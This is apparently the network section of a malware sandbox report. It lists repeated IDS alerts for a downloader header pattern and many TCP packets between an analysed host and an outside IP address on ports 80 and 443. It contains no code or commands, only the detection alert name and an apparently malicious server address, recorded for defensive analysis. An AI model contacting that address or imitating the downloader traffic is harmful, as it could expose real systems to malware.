2024-09-27T19:04:40.607684+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49822	185.86.211.137	80	TCP
2024-09-27T19:04:51.951125+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49824	185.86.211.137	80	TCP
2024-09-27T19:05:03.272566+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49826	185.86.211.137	80	TCP
2024-09-27T19:05:14.601048+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49828	185.86.211.137	80	TCP
2024-09-27T19:05:25.950185+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49830	185.86.211.137	80	TCP
2024-09-27T19:05:37.303813+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49832	185.86.211.137	80	TCP
2024-09-27T19:05:48.669672+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49834	185.86.211.137	80	TCP
2024-09-27T19:06:00.010143+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49836	185.86.211.137	80	TCP
2024-09-27T19:06:11.334816+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49838	185.86.211.137	80	TCP
2024-09-27T19:06:22.679871+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49840	185.86.211.137	80	TCP
2024-09-27T19:06:34.009848+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49842	185.86.211.137	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 18:58:47.317126036 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.533088923 CEST	80	49760	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:47.533351898 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.534271955 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.750340939 CEST	80	49760	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:47.751358986 CEST	80	49760	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:47.751610041 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.754461050 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.754590034 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:47.754827023 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.782388926 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:47.782457113 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.255686045 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.255949020 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.294118881 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.294157028 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.294564009 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.294709921 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.296345949 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.340322018 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.682339907 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.682537079 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.682600975 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.682841063 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.682888985 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.682923079 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.683192968 CEST	443	49761	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:48.683267117 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:48.683357000 CEST	49761	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:57.761415005 CEST	80	49760	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:57.761625051 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:58.748095989 CEST	49760	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:58.748768091 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:58.964200974 CEST	80	49760	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:58.966145992 CEST	80	49762	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:58.966432095 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:58.966526031 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.183815956 CEST	80	49762	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.185018063 CEST	80	49762	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.185256004 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.185606003 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.185705900 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.185976982 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.186156034 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.186218023 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.642235041 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.642456055 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.642719030 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.642757893 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:58:59.642851114 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:58:59.642910957 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:00.084074020 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:00.084253073 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:00.084340096 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:00.084460974 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:00.084470034 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:00.084517002 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:00.084547043 CEST	443	49763	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:00.084613085 CEST	49763	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:09.195255041 CEST	80	49762	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:09.195498943 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.120748043 CEST	49762	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.121071100 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.338175058 CEST	80	49762	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:10.338238001 CEST	80	49764	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:10.338516951 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.338602066 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.555641890 CEST	80	49764	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:10.556744099 CEST	80	49764	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:10.556905985 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.557332993 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.557367086 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:10.557526112 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.557789087 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:10.557807922 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.002126932 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.002307892 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.002629042 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.002664089 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.002759933 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.002819061 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.447926044 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.448163033 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.448169947 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:11.448410034 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.448566914 CEST	49765	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:11.448647976 CEST	443	49765	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:20.567159891 CEST	80	49764	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:20.567472935 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.493242025 CEST	49764	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.493808031 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.710658073 CEST	80	49764	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:21.713973045 CEST	80	49766	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:21.714237928 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.714462996 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.934547901 CEST	80	49766	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:21.935507059 CEST	80	49766	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:21.935722113 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.936232090 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.936352015 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:21.936546087 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.936882973 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:21.936947107 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.383434057 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.383677006 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.384088993 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.384098053 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.384243011 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.384255886 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.820100069 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.820431948 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.820511103 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.820570946 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:22.820655107 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.820739031 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.820864916 CEST	49767	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:22.820935011 CEST	443	49767	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:31.936979055 CEST	80	49766	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:31.937170982 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:32.880966902 CEST	49766	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:32.881058931 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.103059053 CEST	80	49766	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.103089094 CEST	80	49768	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.103279114 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.103394032 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.324198961 CEST	80	49768	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.325213909 CEST	80	49768	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.325397968 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.325696945 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.325756073 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.325917959 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.326123953 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.326153040 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.770030975 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.770221949 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.770673990 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.770689964 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:33.770701885 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:33.770711899 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:34.205055952 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:34.205271959 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:34.205296993 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:34.205421925 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:34.205605984 CEST	49769	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:34.205672979 CEST	443	49769	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:43.335556030 CEST	80	49768	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:43.335794926 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.269073009 CEST	49768	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.269388914 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.486756086 CEST	80	49770	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:44.487032890 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.487292051 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.490612984 CEST	80	49768	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:44.704262018 CEST	80	49770	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:44.705246925 CEST	80	49770	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:44.705552101 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.706213951 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.706247091 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:44.706435919 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.706656933 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:44.706681013 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.143517017 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.144027948 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:45.144408941 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:45.144408941 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:45.144416094 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.144421101 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.596919060 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.596988916 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:45.597274065 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:45.597464085 CEST	49771	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:45.597474098 CEST	443	49771	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:54.715786934 CEST	80	49770	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:54.716039896 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:55.657053947 CEST	49770	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:55.657280922 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:55.874937057 CEST	80	49770	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:55.875010014 CEST	80	49772	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:55.875292063 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:55.875292063 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.093061924 CEST	80	49772	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.094286919 CEST	80	49772	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.094492912 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.094780922 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.094882965 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.095179081 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.095297098 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.095345020 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.542037964 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.542555094 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.542774916 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.542788029 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.542942047 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.542957067 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.978111029 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.978349924 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.978441000 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.978547096 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 18:59:56.978625059 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.978692055 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.978889942 CEST	49773	443	192.168.11.20	185.86.211.137
Sep 27, 2024 18:59:56.978977919 CEST	443	49773	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:06.103697062 CEST	80	49772	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:06.103950977 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.060810089 CEST	49772	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.060945034 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.278099060 CEST	80	49772	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.278162956 CEST	80	49774	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.278443098 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.278505087 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.495779991 CEST	80	49774	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.496660948 CEST	80	49774	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.496901035 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.497616053 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.497714043 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.497962952 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.498229027 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.498298883 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.950721979 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.950990915 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.951383114 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.951390028 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:07.951529980 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:07.951540947 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:08.392242908 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:08.392438889 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:08.392535925 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:08.392611027 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:08.392697096 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:08.392743111 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:08.392797947 CEST	49775	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:08.392858982 CEST	443	49775	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:17.498928070 CEST	80	49774	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:17.499188900 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.480364084 CEST	49774	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.480534077 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.697894096 CEST	80	49776	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:18.697985888 CEST	80	49774	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:18.698146105 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.698251963 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.915074110 CEST	80	49776	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:18.915961981 CEST	80	49776	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:18.916161060 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.916548967 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.916651011 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:18.916819096 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.917046070 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:18.917118073 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.362941027 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.363228083 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.363691092 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.363706112 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.363718987 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.363729000 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.798618078 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.798815966 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.798855066 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.798911095 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:19.798974037 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.799072981 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.799165010 CEST	49777	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:19.799220085 CEST	443	49777	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:28.926100969 CEST	80	49776	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:28.926310062 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:29.899585009 CEST	49776	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:29.899764061 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.116698980 CEST	80	49776	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.120474100 CEST	80	49778	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.120770931 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.120770931 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.341453075 CEST	80	49778	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.342278957 CEST	80	49778	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.342514992 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.342825890 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.342849016 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.343039036 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.343225002 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.343233109 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.791780949 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.792007923 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.792246103 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.792260885 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:30.792478085 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:30.792494059 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:31.232949972 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:31.233202934 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:31.233246088 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:31.233383894 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:31.233524084 CEST	49779	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:31.233587027 CEST	443	49779	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:40.348320007 CEST	80	49778	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:40.348560095 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.318977118 CEST	49778	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.319247007 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.539180040 CEST	80	49780	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:41.539436102 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.539582968 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.539665937 CEST	80	49778	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:41.759676933 CEST	80	49780	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:41.760488033 CEST	80	49780	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:41.760682106 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.760941982 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.761050940 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:41.761255026 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.761426926 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:41.761497974 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:42.209743977 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:42.209976912 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:42.210367918 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:42.210419893 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:42.210645914 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:42.210699081 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:42.645257950 CEST	443	49781	185.86.211.137	192.168.11.20
